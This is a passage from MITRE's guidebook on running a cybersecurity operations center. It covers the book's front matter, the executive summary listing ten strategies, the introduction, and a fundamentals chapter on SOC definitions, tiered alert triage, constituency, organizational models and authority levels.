Johnson, Kathryn Knerler, Eric Lippart, Rick Murad, Todd O’Boyle, Lora Randolph, Marnie Salisbury, Ben Schmoker, Wes Shields, and Dave Wilburn. This book would not have been possible without the funding and mentorship provided by MITRE’s cybersecurity leadership: Gary Gagnon, Marnie Salisbury, Marion Michaud, Bill Neugent, Mindy Rudell, and Deb Bodeau. In addition, Lora Randolph’s and Marnie Salisbury’s advice and support were instrumental in making this book possible. This book was also inspired by the excellent work done by the Carnegie Mellon University (CMU) Software Engineering Institute (SEI) Computer Emergency Response Team (CERT®), whose materials are referenced herein. Their copyrighted material has been used with permission. The following acknowledgement is included per CMU SEI: This publication incorporates portions of the “Handbook for Computer Security Incident Response Teams, 2nd Ed.,” CMU/SEI-2003-HB-002, Copyright 2003 Carnegie Mellon University and “Organizational Models for Computer Security Incident Response Teams,” CMU/SEI-2003-HB-001, Copyright 2003 Carnegie Mellon University with special permission from its Software Engineering Institute. Any material of Carnegie Mellon University and/or its Software Engineering Institute contained herein is furnished on an “as-is” basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied, as to any matter including, but not limited to, warranty of fitness for purpose or mer - chantability, exclusivity, or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to free - dom from patent, trademark, or copyright infringement. This publication has not been reviewed nor is it endorsed by Carnegie Mellon University or its Software Engineering Institute. CERT is a registered trademark of Carnegie Mellon University. I would like to recognize the tireless efforts of the many operators, analysts, engineers, managers, and executives whose contributions to cyber defense have helped shape this book. Acknowledgements T en Strategies of a World-Class Cybersecurity Operations Centerv This book is dedicated to Kristin and Edward. About the Cover “Now, here, you see, it takes all the running you can do, to keep in the same place. If you want to get somewhere else, you must run at least twice as fast as that!” —The Red Queen, to Alice, in Lewis Carroll’s Through the Looking Glass The adversary is constantly advancing its capabilities. Enterprise networks are always adapting to accommodate new technologies and changing business practices. The defender must expend all the effort it can just to stay in the same relative place, relative to what it must protect and defend against. Actually advancing its capabilities—matching or getting ahead of the adversary—takes that much more effort. Stealing a concept from evolutionary biology, we draw a parallel others in cybersecu - rity have to the Red Queen Hypothesis. The Cybersecurity Operations Center must con - stantly evolve its tactics, techniques, procedures, and technologies to keep pace. This is a frequent refrain throughout the book. vi viiContents Acknowledgments iii Executive Summary 1 Introduction 3 Fundamentals 8 Strategy 1: Consolidate CND Under One Organization 44 Strategy 2: Achieve Balance Between Size and Agility 49 Strategy 3: Give the SOC the Authority to Do Its Job 71 Strategy 4: Do a Few Things Well 80 Strategy 5: Favor Staff Quality over Quantity 87 Strategy 6: Maximize the Value of T echnology Purchases 108 Strategy 7: Exercise Discrimination in the Data You Gather 175 Strategy 8: Protect the SOC Mission 206 Strategy 9: Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence 221 Strategy 10: Stop Think Respond Calmly 250 References 258 Appendix A: External Interfaces 278 Appendix B: Do We Need Our Own SOC? 282 Appendix C: How Do We Get Started? 286 Appendix D: Should the SOC Go 24x7? 291 Appendix E: What Documents Should the SOC Maintain? 295 Appendix F: What Should an Analyst Have Within Reach? 301 Appendix G: Characteristics of a World-Class SOC 307 Appendix H: Glossary 319 Appendix I: List of Abbreviations 326 Index 332 viiiFigures Figure 1 SOC Roles and Incident Escalation 14 Figure 2 OODA Loop 26 Figure 3 Cyber Attack Life Cycle 30 Figure 4 Typical SOC T ool Architecture 33 Figure 5 Context to Tip-offs: Full-Spectrum CND Data 34 Figure 6 CND T ools in the Abstract 36 Figure 7 The Four Categories of Activity 37 Figure 8 Balancing Data Volume with Value 38 Figure 9 Data Volume Versus Value in Practice 39 Figure 10 All Functions of CND in the SOC 45 Figure 11 Rightsizing the Constituency 50 Figure 12 Small SOC 54 Figure 13 Alternative Arrangement for a Small SOC 55 Figure 14 Example: Large SOC 57 Figure 15 Data Flows Between Central and Subordinate SOCs 68 Figure 16 Typical Career Paths Through the SOC 103 Figure 17 Basic Network Discovery Architecture 112 Figure 18 Typical IDS Architecture 120 Figure 19 IDS Signature Age Versus Usefulness in Detection 123 Figure 20 Virtualizing IDSes 135 Figure 21 SIEM Overview 155 Figure 22 SIEM: Supporting the Event Life Cycle from Cradle to Grave 157 Figure 23 SIEM Value and SOC Staffing Versus Maturity 158 Figure 24 Log Data Delivery Options and SIEM Tiering 160 Figure 25 Overlap Between SIEM, Network Management System, and LM 163 Figure 26 Instrumenting an Internet Gateway 182 Figure 27 Instrumenting an External-Facing DMZ 184 Figure 28 Copying Network T raffic 208 Figure 29 Data Diode 212 Figure 30 Protected SOC Architecture 217 Figure 31 CTAC and SOC Relationships to Other Organizations 229 Figure 32 People, Process, T echnology CND Enablers 287 ixTables Table 1 SOC Capabilities 19 Table 2 Cyber Attack Life Cycle 31 Table 3 Ops T empo of the Attacker Versus the Defender 41 Table 4 SOC T emplates 51 Table 5 Considerations for SOC Placement 59 Table 6 Differences in Roles for Tiered Approach 67 Table 7 Service T emplates 82 Table 8 Automated Versus Manual Network Mapping 113 Table 9 Advantages and Disadvantages of Intrusion Detection Elements 121 Table 10 Commercial NIDS/NIPS Characteristics 133 Table 11 COTS Versus FOSS for Network Monitoring 137 Table 12 SIEM and Log Aggregation Systems Compared 162 Table 13 Best-of-Breed SIEM Characteristics 165 Table 14 Network Sensor Placement Considerations 178 Table 15 Host Monitoring Placement Considerations 181 Table 16 Comparison of Common Security-Relevant Data Sources 194 Table 17 Approaches to T uning Data Sources 201 Table 18 Suggested Data Retention Time Frames 205 Table 19 T raffic Redirection Options 210 Table 20 Sharing Sensitive Information 219 Table 21 CTAC Artifacts 225 Table 22 Other CTAC Work Products 226 Table 23 CTAC Relationship to SOC Elements 227 Table 24 Case T racking Approaches 255 Table 25 SOC T ouch Points 278 Table 26 Scoring the Need for a SOC 283 Table 27 Example #1: Big T oy Manufacturing, Inc 284 Table 28 Example #2: Big Government Agency 285 Table 29 Document Library 295 Table 30 Analyst Resources 301 Table 31 Tier 2 T ools 305 x 1Executive Summary Today’s cybersecurity operations center (CSOC) should have everything it needs to mount a competent defense of the ever-changing information tech - nology (IT) enterprise. This includes a vast array of sophisticated detection and prevention technologies, a virtual sea of cyber intelligence reporting, and access to a rapidly expanding workforce of talented IT professionals. Yet, most CSOCs continue to fall short in keeping the adversary—even the unsophisticated one—out of the enterprise. The deck is clearly stacked against the defenders. While the adver - sary must discover only one way in, the defenders must defend all ways in, limit and assess damage, and find and remove adversary points of presence in enterprise systems. And cybersecurity experts increasingly recognize that sophisticated adversaries can and will establish lasting footholds in enterprise systems. If this situation were not bad enough, more often than not, we are our own worst enemy. Many CSOCs expend more energy battling politics and personnel issues than they do identify - ing and responding to cyber attacks. All too often, CSOCs are set up and operate with a focus on technology, without adequately addressing people and process issues. The main premise of this book is that a more balanced approach would be more effective. This book describes the ten strategies of effective CSOCs—regard - less of their size, offered capabilities, or type of constituency served. The strategies are: 2 Executive Summary 1. C onsolidate functions of incident monitoring, detection, response, coordination, and computer network defense tool engineering, operation, and maintenance under one organization: the CSOC. 2. A chieve balance between size and visibility/agility, so that the CSOC can execute its mission effectively. 3. G ive the CSOC the authority to do its job through effective organizational placement and appropriate policies and procedures. 4. F ocus on a few activities that the CSOC practices well and avoid the ones it cannot or should not do. 5. F avor staff quality over quantity, employing professionals who are passionate about their jobs, provide a balance of soft and hard skills, and pursue opportunities for growth. 6. R ealize the full potential of each technology through careful investment and keen awareness of—and compensation for—each tool’s limitations. 7. E xercise great care in the placement of sensors and collection of data, maximizing signal and minimizing noise. 8. C arefully protect CSOC systems, infrastructure, and data while providing transpar - ency and effective communication with constituents. 9. B e a sophisticated consumer and producer of cyber threat intelligence, by creat - ing and trading in cyber threat reporting, incident tips and signatures with other CSOCs. 10. R espond to incidents in a calm, calculated, and professional manner. In this book, we describe each strategy in detail, including how they crosscut elements of people, process, and technology. We deeply explore specific areas of concern for CSOCs, ranging from how many analysts a CSOC needs to where to place sensor technologies. 3Chapter 1 Introduction 1.1 Background Ensuring the confidentiality, integrity, and availability of the modern infor - mation technology (IT) enterprise is a big job. It incorporates many tasks, from robust systems engineering and configuration management (CM) to effective cybersecurity or information assurance (IA) policy and compre - hensive workforce training. It must also include cybersecurity operations, where a group of people are charged with monitoring and defending the enterprise against all measures of cyber attack. The focal point for security operations and computer network defense (CND) in the large enterprise is the cybersecurity operations center (CSOC, or simply SOC). Virtually all large IT enterprises have some form of SOC, and their importance is grow - ing as “cyber” becomes increasingly important to the mission. The MITRE Corporation supports a number of U.S. government SOCs, which go by many names: Computer Security Incident Response Team (CSIRT), Computer Incident Response Team (CIRT), Computer Security Incident Response Capability (CSIRC), Network Operations and Security Center (NOSC), and, of course, CSOC. As a corporation that operates sev - eral federally funded research and development centers, MITRE’s support to these entities spans many years, with staff members who support the full scope of the SOC mission, from standing up new SOCs to enhancing existing CND capabilities. Operational activities range from analyzing network traffic captures to editing incident escalation procedures and 4 architecting enterprise sensor grids. We draw upon these experiences in developing this book. Since many SOCs were first stood up in the 1990s, several movements in IT have changed the way the CND mission is executed: 1. T he rise of the advanced persistent threat (APT) [1] and an acceleration in the evo - lution of the adversary’s tactics, techniques, and procedures (TTPs) 2. A m ovement toward IT consolidation and cloud-based computing 3. T he exponential growth in mobile devices, obscuring where enterprise borders truly lie 4. A t ransition from network-based buffer overflow attacks to client-side attacks. Despite the fact that the practice of CND and incident response is more than 20 years old, SOCs still wrangle with fundamental issues related not just to the technologies they must work with day to day but with larger issues related to people and process, from how to handle incident escalation to where the SOC belongs on the constituency organization chart. The majority of recognized materials about SOCs were published between 1998 and 2005 [2], [3], [4], [5], [6], [7], [8], [9], [10], [11], [12], [13]. Recent publications are somewhat more focused in scope [14] , [15], cover mostly tools [16] , or discuss cyber warfare doctrine [17], [18]. With some exceptions [19], [20], comparatively few comprehensive works on CND have been written in the last ten years. Furthermore, most references about CND focus on technology to the exclusion of people and process or cover people and process at length without bringing in the elements of technology and tools. There have been significant changes in cyber threat and technology but few updates on the fundamental “hows” and “whys” of CND. Moreover, most general references on incident response and intrusion detection are tailored toward small- to medium-sized enterprises and focus on technology. Far less material on enabling security operations in large enterprises exists. People and process issues are increasingly the primary impedi - ment to effective CND. Our firsthand experience, along with these trends and observations, motivated us to write and publish a book that addresses the elements of a modern, world-class SOC. 1.2 Purpose This book aims to help those who have a role in cybersecurity operations to enhance their CND capability. To do so, we leveraged observations and proven approaches across of all three CND elements (people, process, and technology). The structure of this book directly addresses ten strategies that, when followed, lead to a vastly enhanced CND capability. We address common questions often pondered by SOCs—new and old, big and small—in the Introduction T en Strategies of a World-Class Cybersecurity Operations Center5 context of their enterprise and mission space, leveraging recent advancements in security operations and incident response best practices. This book’s objectives are to help organizations: 1. A rticulate a coherent message of “this is the way CND is done” 2. T ranslate the lessons learned from leading, mature SOCs to new and struggling SOCs 3. P rovide context and options for critical SOC architecture, tools, and process decisions 4. D emonstrate the way CND has evolved in the face of APTs 5. D ifferentiate the roles of different SOCs, given various constituency sizes and missions 6. M aximize the value of SOC staff and technology investments. 1.3 Audience If you are part of, support, frequently work with, manage, or are trying to stand up a SOC, this book is for you. Its primary audience is SOC managers, technical leads, engineers, and analysts. Portions of this book can be used also as a reference by those who interface with SOCs on a weekly or daily basis to better understand and support CND operations. These include chief information security officers (CISOs); network operations center (NOC) per - sonnel; senior IT system administrators (sysadmins); counterintelligence and law enforce - ment personnel who work cyber cases; and information systems security engineers (ISSEs), officers (ISSOs), and managers (ISSMs). Anyone reading this book is assumed to have a general understanding of IT and secu - rity concepts and a general awareness of cyber threats. A specific background in computer science, engineering, networking, or system administration is especially helpful. If your IT enterprise has fewer than 1,000 users or nodes, your resourcing may not be sufficient to support a SOC. In this case, outsourcing major elements of CND may be worth considering. Therefore, while parts of this book may be informative, please remember that many of the considerations and assumptions are made with medium and large enterprises in mind. Conversely, if your IT enterprise measures in the many thousands of hosts/Internet Protocol (IP) addresses or users, you are likely best served by a consolidated CND capa-bility—meaning that this book is for you. In Section 4 , we also address approaches to enterprises measuring in the millions of nodes or users, such as those spanning multiple government agencies. We had U.S. executive branch agencies in mind when we wrote this book, includ - ing federal civilian agencies, the Department of Defense (DoD), and the Intelligence 6 Community. Some material is most applicable when applied to this space, and assumptions unique to the U.S. federal executive branch influence some suggestions. However, the vast majority of the best practices approaches discussed herein are applicable to other areas of government (United States or otherwise). They also apply to the commercial sector, non - profits, and academia. This book therefore does not focus on specific mandates and guid- ance promulgated by the National Institute of Standards and Technology (NIST), DoD, the Director of National Intelligence, or the Office of Management and Budget. However, when mandates and guidance are relevant to the organization and operations of a SOC, they are briefly discussed. 1.4 H ow to Use This Book This book has been written as if you, the reader, have been given the task of operating a SOC. We take this approach to emphasize the operational and practical “real-world” nature of defending a network. Regardless of your background in CND, the book is intended to convey advice and best practices culled from a number of SOCs that MITRE has supported over the years. As a result, this book adopts two key conventions. First, tangible, concrete guidance is provided wherever possible, favoring detailed recommendations and advice that work 90 percent of the time. Second, many other excellent references on some of the technological focus areas of CND exist, and this book leverages those references wherever possible, while focusing on the integration of people, process, and technology. Throughout the book, key points that we want to draw your attention to will be desig - nated as such: This is a really important point, worthy of your consideration. The book is organized as follows: 1. Section 1 introduces the book’s subject, purpose, scope, and approach. 2. Section 2 discusses the fundamentals of SOCs. It targets readers who do not have a strong background in CND. It includes a SOC’s basic mission, capabilities, and technologies. Section 2.3 and Section 2.4 are referenced frequently throughout the remainder of the book, so those familiar with CND may want first to review these sections before proceeding. 3. Sections 3 through 12 describe the ten strategies of an effective SOC. These sec - tions take the fundamentals covered in Section 2 and discuss them in practice. They break down key design, architecture, and procedural issues in detail. These Introduction T en Strategies of a World-Class Cybersecurity Operations Center7 sections house the main body of material covered in this book and crosscut issues of people, process, and technology. 4. The Appendices address issues not covered in the main body. These are relevant to supporting a world-class CND capability but do not fit within the structure of the ten strategies. This section also contains a Glossary and List of Abbreviations. 1.5 Scope This book integrates CND’s people, process, and technology elements. Its style is not only descriptive about the fundamentals of CND but prescriptive about how best to accomplish the CND mission. We take advantage of excellent existing materials that cover purely tech - nical or purely people/process aspects of CND. As a result, we attempt to avoid the follow - ing topics: 1. B its and bytes of transmission control protocol (TCP)/IP and packet analysis [21], [22], [23] 2. M edia and system forensics [24], [25], [26], [27], [28], [29] 3. L egal aspects of network monitoring, such as privacy laws, details on chain of cus - tody, and specific legal or regulatory requirements for retention of audit data 4. V ulnerability assessment and penetration testing [30], [31], [32], [33], [34], [35] 5. M alware analysis and exploits [36], [37], [38], [39], [40] 6. H ow to use specific CND technologies such as intrusion detection systems (IDSes) or security information and event management (SIEM) 7. P oint-in-time comparisons of specific CND technologies and point products [41] 8. D etailed description of how various cyber attacks work 9. I ssues that are out of the scope of CND: a. N etwork and telecommunications monitoring and operations b. P hysical security operations (e.g., “gates, guards, guns”) 10. C ompliance with specific laws and regulations. While many references are available, we especially use material from the SysAdmin, Audit, Networking, and Security (SANS) Institute and Carnegie Mellon Software Engineering Institute (SEI) Computer Emergency Response Team (CERT) because of their high quality, acceptance across industry, and open availability. 8Chapter 2 Fundamentals In this section, we cover the fundamental concepts of a SOC: what a SOC is, what it does, the major tools it uses to accomplish its mission, and its key mission drivers. Much of this material resurfaces in later sections. Even if you have been involved with incident response or security operations in the past, it may be helpful to review this section because it establishes key terminology and drivers used throughout the book. 2.1 W hat Is a SOC? A SOC is defined primarily by what it does—CND. We adapted the defini - tion from [42] , characterizing CND as: The practice of defense against unauthorized activity within com-puter networks, including monitoring, detection, analysis (such as trend and pattern analysis), and response and restoration activities. There are many terms that have been used to reference a team of cybersecurity experts assembled to perform CND. They include: ‚Computer Security Incident Response Team (CSIRT) ‚Computer Incident Response Team (CIRT) ‚Computer Incident Response Center (or Capability) (CIRC) ‚Computer Security Incident Response Center (or Capability) (CSIRC) ‚Security Operations Center (SOC) ‚Cybersecurity Operations Center (CSOC) T en Strategies of a World-Class Cybersecurity Operations Center9 ‚Computer Emergency Response Team [4 , pp. 10–11] (CERT 1). Common variations in the name include words such as “network,” “computer,” “security,” “cyber,” “information technology,” “emergency,” “incident,” “operations,” or “enterprise.” The acronym “CSIRT” is the most technically accurate term that may be used in refer - ence to the team of personnel assembled to find and respond to intrusions. However, its usage is far from universal, most CSIRTs go by some designation other than “CSIRT,” and its usage has waned in recent years. As a result, identifying them by name alone is not always easy. Many (if not most) cybersecurity professionals use “SOC” colloquially to refer to a CSIRT, even though using the term “SOC” in such a manner is not entirely correct. 2 Purity of vocabulary might serve as a distraction to many readers, and we wish to maintain consistency with modern common usage. As a result, in this book, we use “SOC.” We combine definitions of CSIRT from [42] and [43] to define “SOC:” A SOC is a team primarily composed of security analysts organized to detect, analyze, respond to, report on, and prevent cybersecurity incidents. A SOC provides services to a set of customers referred to as a constituency —a bounded set of users, sites, IT assets, networks, and organizations. Combining definitions from [43]and [8], j87a constituency can be established according to organizational, geo - graphical, political, technical, or contractual demarcations. Once again borrowing from the historical definition of “CSIRT,” [44] articulates three criteria that an organization must meet to be considered a CSIRT, which we hold over in applying to a SOC. In order for an organization to be considered a SOC, it must: 1. P rovide a means for constituents to report suspected cybersecurity incidents 2. P rovide incident handling assistance to constituents 3. D isseminate incident-related information to constituents and external parties. The SOC provides a set of services to the constituency that is related to the core mis - sion of incident detection and response, such as security awareness training or vulnerabil - ity assessment. Compare a SOC’s services to its constituency to the way a fire or paramedic station operates [3 , p. 11] . Firefighters’ and other first responders’ primary role is to help 1 C omputer Emergency Response Team (CERT) is registered in the U.S. Patent and Trademark Office by Carnegie Mellon University. 2 I t should also be noted that some physical security operations centers also go by “SOC.” Thus, in the title of this book, we used “Cyber” to disambiguate our topic. 10 people in emergencies, but a lot more goes into the mission of protecting the public from harm. It includes, among other activities, fire safety education, home and business fire inspections, and first-responder training. Outreach goes a long way toward preventing fires—and preventing security incidents. Some fire departments have the resources to perform a detailed post-incident analysis of why a fire started and how it spread. Similarly, some SOCs have the skills and resources to perform detailed forensics on compromised systems. Others, however, must call on partner SOCs or external resources when in-depth forensics must be performed. Section 2.4 discusses the range of services that a SOC may provide. 2.2 M ission and Operations Tempo SOCs can range from small, five-person operations to large, national coordination centers. A typical midsize SOC’s mission statement typically includes the following elements: 1. P revention of cybersecurity incidents through proactive: a. C ontinuous threat analysis b. N etwork and host scanning for vulnerabilities c. C ountermeasure deployment coordination d. S ecurity policy and architecture consulting. 2. M onitoring, detection , and analysis of potential intrusions in real time and through historical trending on security-relevant data sources 3. R esponse to confirmed incidents, by coordinating resources and directing use of timely and appropriate countermeasures 4. P roviding situational awareness and reporting on cybersecurity status, incidents, and trends in adversary behavior to appropriate organizations 5. E ngineering and operating CND technologies such as IDSes and data collection/ analysis systems. Of these responsibilities, perhaps the most time-consuming is the consumption and analysis of copious amounts of security-relevant data. Among the many security-relevant data feeds a SOC is likely to ingest, the most prominent are often IDSes. IDSes are systems placed on either the host or the network to detect potentially malicious or unwanted activ - ity that warrants further attention by the SOC analyst. Combined with security audit logs and other data feeds, a typical SOC will collect, analyze, and store tens or hundreds of mil - lions of security events every day. According to [42] , an event is “Any observable occurrence in a system and/or network. Events sometimes provide indication that an incident is occurring” (e.g., an alert generated by an IDS or a security audit service). An event is nothing more than raw data. It takes human analysis —the process of evaluating the meaning of a collection of security-relevant Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center11 data, typically with the assistance of specialized tools—to establish whether further action is warranted. Handling the constant influx of data is analogous to triaging patients in an emer - gency situation—there are hundreds of wounded people, so who deserves attention first? Adapting the definition found in [4, p. 16], triage is the process of sorting, categorizing, and prioritizing incoming events and other requests for SOC resources. A SOC typically will designate a set of individuals devoted to real-time triage of alerts, as well as fielding phone calls from users and other routine tasks. This group is often referred to as Tier 1 . 1 If Tier 1 determines that an alert reaches some predefined thresh - old, a case is created and escalated to Tier 2. This threshold can be defined according to various types of potential “badness” (type of incident, targeted asset or information, impacted mission, etc.). Usually, the time span Tier 1 has to examine each event of inter - est is between one and 15 minutes. It depends on the SOC’s escalation policy, concept of operations (CONOPS), number of analysts, size of constituency, and event volume. Tier 1 members are discouraged from performing in-depth analysis, as they must not miss events that come across their real-time consoles. If an event takes longer than several minutes to evaluate, it is escalated to Tier 2. Tier 2 accepts cases from Tier 1 and performs in-depth analysis to determine what actually happened—to the extent possible, given available time and data—and whether further action is necessary. Before this decision is made, it may take weeks to collect and inspect all the necessary data to determine the event’s extent and severity. Because Tier 2 is not responsible for real-time monitoring and is staffed with more experienced analysts, it is able to take the time to fully analyze each activity set, gather additional information, and coordinate with constituents. It is generally the responsibility of Tier 2 (or above) to determine whether a potential incident occurred. According to [42] , an incident is: . . . an assessed occurrence that actually or potentially jeopardizes the confidential - ity, integrity, or availability of an information system; or the information the system processes, stores, or transmits; or that constitutes a violation or imminent threat of violation of security policies, security procedures or acceptable use policies. 1 W e follow a hierarchy for analysis and escalation within the SOC that originates from tiering within an IT help desk and system administration organizations. This arrangement should not be confused with tiered SOCs, whereby multiple SOCs are organized within one large constituency (which is discussed in Section 4.3.7 ). 12 A single event can spawn an incident, but, for every incident, there are likely thou - sands or millions of events that are simply benign. Some SOCs also will allocate resources from one or more of their own sections (some - times including Tier 2) to look for all the unstructured indicators of incidents that are out - side the scope of Tier 1’s duties. Indeed, many cases stem from the non-routine indicators and analytics that Tier 1 does not have the capability to work with but that Tier 2 does. In larger SOCs, these teams work in concert to find and evaluate the disposition of suspicious or anomalous activity on constituency networks. The SOC typically will leverage internal and external resources in response to and recovery from the incident. It is important to recognize that a SOC may not always deploy countermeasures at the first sign of an intrusion. There are three reasons for this: 1. T he SOC wants to be sure that it is not blocking benign activity. 2. A r esponse action could impact a constituency’s mission services more than the incident itself. 3. U nderstanding the extent and severity of the intrusion by watching the adversary is sometimes more effective than performing static forensic analysis on compromised systems, once the adversary is no longer present. To determine the nature of the attack, the SOC often must perform advanced forensic analysis on artifacts such as hard drive images or full-session packet capture (PCAP), or malware reverse engineering on malware samples collected in support of an incident. Sometimes, forensic evidence must be collected and analyzed in a legally sound manner. In such cases, the SOC must observe greater rigor and repeatability in its procedures than would otherwise be necessary. When the signs of an attack are understood well enough to encode a computer-read - able IDS signature, the attack may be prevented in-line, as with a host intrusion prevention system (HIPS) or network intrusion prevention system (NIPS). While such systems typi - cally are used to prevent the most basic attacks, the extent to which they can automate analysis is limited. Human analysis is always needed to run a major incident to ground. A number of technologies enable the SOC to comb through millions of events every day, sup - porting the incident life cycle from cradle to grave. SIEM tools collect, store, correlate, and display myriad security-relevant data feeds, supporting triage, analysis, escalation, and response activities. IDS and intrusion prevention systems (IPSs) are two of many systems that feed SIEM. The current perspective on IDS/IPS technologies suggests that they may be necessary but that they are certainly not sufficient in incident detection (though they are still relevant and useful—this issue is discussed at length in Section 8.2 ). The variety of data feeds together support both the tip-off and contextual “ground truth” needed to Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center13 support incident analysis. Any one source of security events has little value; the whole is greater than the sum of the parts. The SOC does not just consume data from its constituency; it also folds in information from a variety of external sources that provides insight into threats, vulnerabilities, and adversary TTPs . This information is called cyber intelligence (intel), and it includes cyber news feeds, signature updates, incident reports, threat briefs, and vulnerability alerts. As the defender, the SOC is in a constant arms race to maintain parity with the changing envi - ronment and threat landscape. Continually feeding cyber intel into SOC monitoring tools is key to keeping up with the threat. In a given week, the SOC likely will process dozens of pieces of cyber intel that can drive anything from IDS signature updates to emergency patch pushes. A SOC must discriminate among the cyber intel that it harvests; intel must be timely, relevant, accurate, specific, and actionable about the incident, vulnerability, or threat it describes. In describing all of the roles the different parts of the SOC carry out, recognize that each SOC will divide roles differently and that overlap can exist between functions. Some SOCs perform in-depth analysis and response in a single Tier 2 section. Others will break some of these functions into a third tier. Rather than covering all of the permutations, the general escalation path and incident response roles of a SOC are illustrated in Figure 1. Other entities in the constituency are similar to SOCs, but they should be recognized as distinct and separate. A SOC is distinct from: ‚A NOC because a SOC is primarily looking for cyber attacks, whereas a NOC is con - cerned with operating and maintaining network equipment ‚A chief information officer (CIO) or CISO office because the SOC is a real-time opera-tional capability, and its monitoring efforts are not usually intended to support strate - gic planning (though some SOCs may report directly to a CISO or CIO) ‚An Information Security Continuous Monitoring (ISCM) program [45] because the SOC is responsible for incident detection and response ‚An ISSO or ISSM shop because the SOC is responsible for monitoring and responding to the full-scope cyber threat across the entire constituency, whereas ISSOs are usu - ally involved with IT compliance and ensuring the security of specific systems ‚Computer network exploitation (CNE) or computer network attack (CNA) teams because SOCs do not normally perform attack or penetration activities outside their constituency ‚Physical security monitoring (e.g., “gates, guards, and guns”) because a SOC is concerned with the cyber domain, whereas physical security monitoring is primarily concerned with protecting physical assets and ensuring personnel safety 14 ‚Law enforcement because SOCs are usually not investigative bodies; while they may find intrusions that result in legal action, their primary duty is usually not the collec - tion, analysis, and presentation of evidence that will be used in legal proceedings. These delineations highlight the fact that SOCs must work with all of these groups on a regular basis, and they must maintain skill sets in many areas of IT and cybersecurity. Fundamentals Figure 1 SOC Roles and Incident EscalationCyber Intel, Threat, VulnerabilitiesConstituency IT Assets Sensor & SIEMtuners Tune, filter & customize Hours-Days “Outside the Box” Analytics Minutes-HoursTrending & Fusion Analysts Media imagesTraffic capturesMalware samplesIn-depth analysis Hours-MonthsIn-depth analysisInform and Enhance In-depth analysis Tier 2+Analysts & Leads Decision makingCoordinate & consult System owners &system admins Tier 1 Analysts Real-time monitoring Seconds- MinutesCollect security-relevant events Constituents Incident reportsSIEM & Other Specialized Tools TrendingReal-time monitoringAdvanced analyticsCorrelationFree-form queryVisualizationCase managementHistorical analysisInform and enhanceInform and enhance How to Respond · Block Activity· Deactivate Account· Continue Watching· Refer to Outside Party· Etc.Case EscalationCase Escalation T en Strategies of a World-Class Cybersecurity Operations Center15 2.3 Characteristics Because SOCs can vary so widely in size and structure, key qualities must be identified to describe these differences. We begin with three characteristics of the SOC before covering its various capabilities in detail. These characteristics are: 1. Organizational relationship to the SOC’s constituency 2. The distribution of resources that comprise the SOC (e.g., its organizational model ) 3. The authority it exercises over its constituency. We base the discussion on material from Carnegie Mellon CERT [4] [8], with updates or conceptual changes noted where applicable. These characteristics will be reused throughout the remainder of the book. 2.3.1 C onstituency Membership SOCs are either part of the organization they serve or external to it. SOCs that are external to the constituency include managed security service providers (MSSPs) run by a corporation providing services to paying clients. They also include SOCs that are product focused, such as those run by vendors, which must rapidly respond to security vulnerabilities in products that serve a large customer base. In most cases, a SOC is part of the organization it defends; therefore, its relationship is considered internal . An internal SOC’s constituency is composed of the users and IT assets that belong to one autonomous organization, such as a government agency, university, or corporation, of which the SOC is also a member. In these cases, it is also common to find a chief executive officer (CEO) and CIO with cognizance of the entire organization. Finally, this constituency is most likely subdivided into multiple business units, each located at one or more disparate geographic locations. Much of the advice given in this book has internal constituency membership in mind. This definition is consistent with consistency membership defined in [4 , p. 12] . 2.3.2 O rganizational Model We categorize SOCs that are internal to the constituency into five organizational models of how the team is comprised, following that of Section 3.2 in [4] : 1. Security team. No standing incident detection or response capability exists. In the event of a computer security incident, resources are gathered (usually from within the constituency) to deal with the problem, reconstitute systems, and then 16 stand down. Results can vary widely as there is no central watch or consistent pool of expertise, and processes for incident handling are usually poorly defined. Constituencies composed of fewer than 1,000 users or IPs usually fall into this category. 2. Internal distributed SOC. A standing SOC exists but is primarily composed of indi - viduals whose organizational position is outside the SOC and whose primary job is IT or security related but not necessarily CND related. One person or a small group is responsible for coordinating security operations, but the heavy lifting is carried out by individuals who are matrixed in from other organizations. SOCs supporting a small- to medium-sized constituency, perhaps 500 to 5,000 users or IPs, often fall into this category. 3. Internal centralized SOC. A dedicated team of IT and cybersecurity professionals comprise a standing CND capability, providing ongoing services. The resources and the authorities necessary to sustain the day-to-day network defense mission exist in a formally recognized entity, usually with its own budget. This team reports to a SOC manager who is responsible for overseeing the CND program for the constitu - ency. Most SOCs fall into this category, typically serving constituencies ranging from 5,000 to 100,000 users or IP addresses. 4. Internal combined distributed and centralized SOC. The SOC is composed of both a central team (as with internal centralized SOCs) and resources from elsewhere in the constituency (as with internal distributed SOCs). Individuals supporting CND operations outside of the main SOC are not recognized as a separate and distinct SOC entity. For larger constituencies, this model strikes a balance between having a coherent, synchronized team and maintaining an understanding of edge IT assets and enclaves. SOCs with constituencies in the 25,000–500,000 user/IP range may pursue this approach, especially if their constituency is geographically distributed or they serve a highly heterogeneous computing environment. 5. Coordinating SOC. The SOC mediates and facilitates CND activities between mul - tiple subordinate distinct SOCs, typically for a large constituency, perhaps mea - sured in the millions of users or IP addresses. A coordinating SOC usually provides consulting services to a constituency that can be quite diverse. It typically does not have active or comprehensive visibility down to the end host and most often has limited authority over its constituency. Coordinating SOCs often serve as distribu - tion hubs for cyber intel, best practices, and training. They also can offer analysis and forensics services, when requested by subordinate SOCs. In practice, few SOCs fall neatly within just one of these categories—most SOCs fall on a spectrum somewhere between purely distributed and purely centralized. In addition, Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center17 many coordinating SOCs will harmonize the activities of subordinate SOCs and will also perform their own direct monitoring and response operations. In any event, a SOC must balance a deep understanding of CND topics with knowledge down to the end asset and mission. Together, these form a SOC’s “street cred” (i.e., constituents’ and other SOCs’ perception of its expertise and the value it adds). Since this is absolutely vital to a SOC’s success, we return to this theme many times throughout the book. Section 4 discusses siz - ing SOC models to the constituency in which they serve. 2.3.3 Authority Authority describes the amount of discretion the SOC has in directing actions that impact constituency assets, with or without permission from, or coordination with, other groups. We leverage the authority framework described in [4, p. 37] , with some modifications. A SOC can exert three levels of authority: 1. No authority. A SOC can suggest or influence constituents regarding actions they should take. However, the SOC has neither the formal means to exert pressure nor a superior organizational element willing or able to do so. It is entirely up to constitu - ents to heed or ignore the SOC’s recommendations. 2. Shared authority. A SOC can make recommendations to constituency executives (e.g., CIOs, CISOs, CEOs, system owners) who have various authorities to enact change. These recommendations are weighed against input from other stakeholders before a decision is made, giving the SOC 